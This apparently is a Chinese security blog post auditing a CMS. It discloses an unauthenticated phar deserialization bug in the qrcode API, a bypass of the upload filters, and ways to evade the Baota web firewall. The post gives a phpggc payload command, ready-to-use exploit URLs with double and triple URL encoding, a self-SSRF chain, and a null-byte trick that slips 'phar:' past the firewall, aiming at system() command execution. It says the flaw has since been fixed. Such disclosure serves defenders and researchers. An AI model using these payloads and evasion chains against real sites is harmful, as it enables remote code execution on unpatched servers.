0.前言
这篇文章很早就写了,因为涉及0day不想影响太大,于是就想等作者修了再发。现在漏洞已经公开了,作者也修了,就发出来吧。
https://xz.aliyun.com/news/18215
1.前台phar反序列化(4.5.6/4.6.1)
404页面即暴露了cms版本号,比较新(4.5.6),离当时的最新版(4.6.1)最差一个版本号。但官方不提供旧版下载,在别的地方找到了进行代码审计。
只测试了这两个版本,很快便发现了存在未授权phar://反序列化漏洞。
/dayrui/Fcms/Control/Api/Api.php
前面的if看起来试图校验$thumb必须符合http(s)前缀,但显然$thumb没法同时满足三个条件,进不去exit(),所以这个校验根本没用。
/index.php?s=api&c=api&m=qrcode&thumb=https://www.baidu.com/img/flexible/logo/pc/result.png&text=12345&size=5&level=H
该功能本意是提供一个远程加载头像并合成二维码图片的功能,无论成功与否都会在cache/file目录生成一个二维码图片。
通过代码可得知,第一次请求会走到getimagesize()中,提供了phar://的入口,但第二次如果访问同样的url,就会直接返回cache/file/qrcode-xxx-qrcode.png。这个时候每次访问都可以加点不干扰代码运行的东西,比如phar://1.phar/qqq,http://x.com/?xxx=xxx,file:///tmp//////xxx//////xxx,以保证getimagesize()的执行。
我们本地搭好同版本环境,在根目录放入一个phar。这套cms最新版有三种内核Codeigniter/Laravel/ThinkPHP,默认是Codeigniter,且旧版也只有Codeigniter,因此生成payload。
php phpggc CodeIgniter4/RCE2 phpinfo 1 -p phar -o 1.phar
但这套cms已经开始推荐php8.0,8.0开始不支持phar反序列化,默认情况下/test.php可以看到php版本。
发布文章的时候4.7.0已修复
2.文件上传(4.5.6/4.6.1)
有了phar://自然要找一个上传点,qrcode功能虽然也能生成文件,但文件内容不受控制。该cms核心上传功能位于/dayrui/Fcms/Control/Api/File.php中。
/index.php?is_iframe=1&s=api&c=file&m=input_file_list&fid=2&is_wm=&ct=1&pp=2
此接口校验了会员权限,不过刚好目标是开放会员且开放文件上传权限的。
首先是传统的upload()
其主要有三种防护,一是后缀白名单,只允许gif/jpg/jpeg/png/webp
二是文件头检测,用图片马或者经典的GIF89au即可。
三是文件内容检测,用不含<?php的php文件绕过即可。这个后台有个开关,也就是宽松模式,设置了这个内容检测就不生效了。
那么我们能够构造出符合条件的phar文件吗?当然可以,phar文件本身就对脏数据有着极高的兼容性。手动修改phar文件只需修复签名即可生效,见下面这篇文章。
https://forum.butian.net/share/1917
还有<?php __HALT_COMPILER(); ?>的问题呢?事实上php在加载phar文件时仅检测__HALT_COMPILER(); ?>,也就是说只需要这样即可完成反序列化。
除了upload()之外,还有upload_base64_image(),拥有着差不多的过滤规则,这里不赘述。
3.绕过宝塔
回过头来,我们完成了phar的整个利用流程,然而目标上有着版本较新的宝塔需要绕过。
第一是<?php __HALT_COMPILER(); ?>中含有的<?php宝塔同样会拦截,不过我们已经搞定了。
第二就是thumb=phar://1.phar的phar:/宝塔会拦截,绕宝塔的一些方法只存在POST中。这个由于在get中,几乎避无可避,只能正面应对。
常用的大小写肯定是不行的,但我们注意到在代码中,自作多情的替thumb参数做了一次url解码。
$thumb = urldecode(PhpcmfService::L('input')->get('thumb'));
那么这里可以用二次url编码的方式尝试绕过。
/index.php?s=api&c=api&m=qrcode&thumb=phar:%252f/uploadfile/202306/0621bca061e768.gif&text=12345&size=5&level=H
但这样就想过也太小瞧宝塔了,一次url编码是无用功,二次url编码对于绕过宝塔这样强壮的waf还是不够用,我们需要三次url编码。
如何做到三次url编码呢?phar反序列化和远程文件下载,同时也都是SSRF,这意味着我们可以利用SSRF来进行多次url编码达到自己的请求不被拦截的目的。
也就是下面这个payload。
http://x.com/index.php?s=api&c=api&m=qrcode&text=12345&size=5&level=H&thumb=http://x.com/index.php?s=api%26c=api%26m=qrcode%26text=12345%26size=5%26level=H%26thumb=phar:%25252F/uploadfile///202306/0621bca061e768.gif
当然,payload不能是phpinfo了,换成system('calc');更加直观。
光这样还是不行,因为虽然我们请求服务器是三次url编码不会被宝塔拦截,但服务器自己请求自己是二次url编码还是会被拦截。
但如果对方同时在宝塔配置了域名绑定127.0.0.1的某个端口。当服务器自己请求127.0.0.1时,即使是攻击行为,宝塔也不会管。
不过可惜的是,宝塔的127.0.0.1:80一般绑定的是/www/wwwroot/default/目录,使用宝塔正常配置基本上不会存在访问127.0.0.1:80和x.com一样的情况。
还有没有其他办法呢?除了urldecode我们还注意到,它使用了自定义的get方法,追踪后发现,有个XSS过滤器。
/dayrui/Fcms/Library/Security.php
在这个xss_clean中,发现了大量花里胡哨的过滤,在最后惊喜的发现它居然将很多不可见字符都替换为空了。
那么随便使用%00等就能轻松的打乱宝塔对phar:/的关键字检测,达到绕过目的。
/index.php?s=api&c=api&m=qrcode&thumb=ph%00ar://uploadfile///202306/0621bca061e768.gif&text=12345&size=5&level=H
原文始发于微信公众号(实战安全研究):实战某凤网站导致的代码审计
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论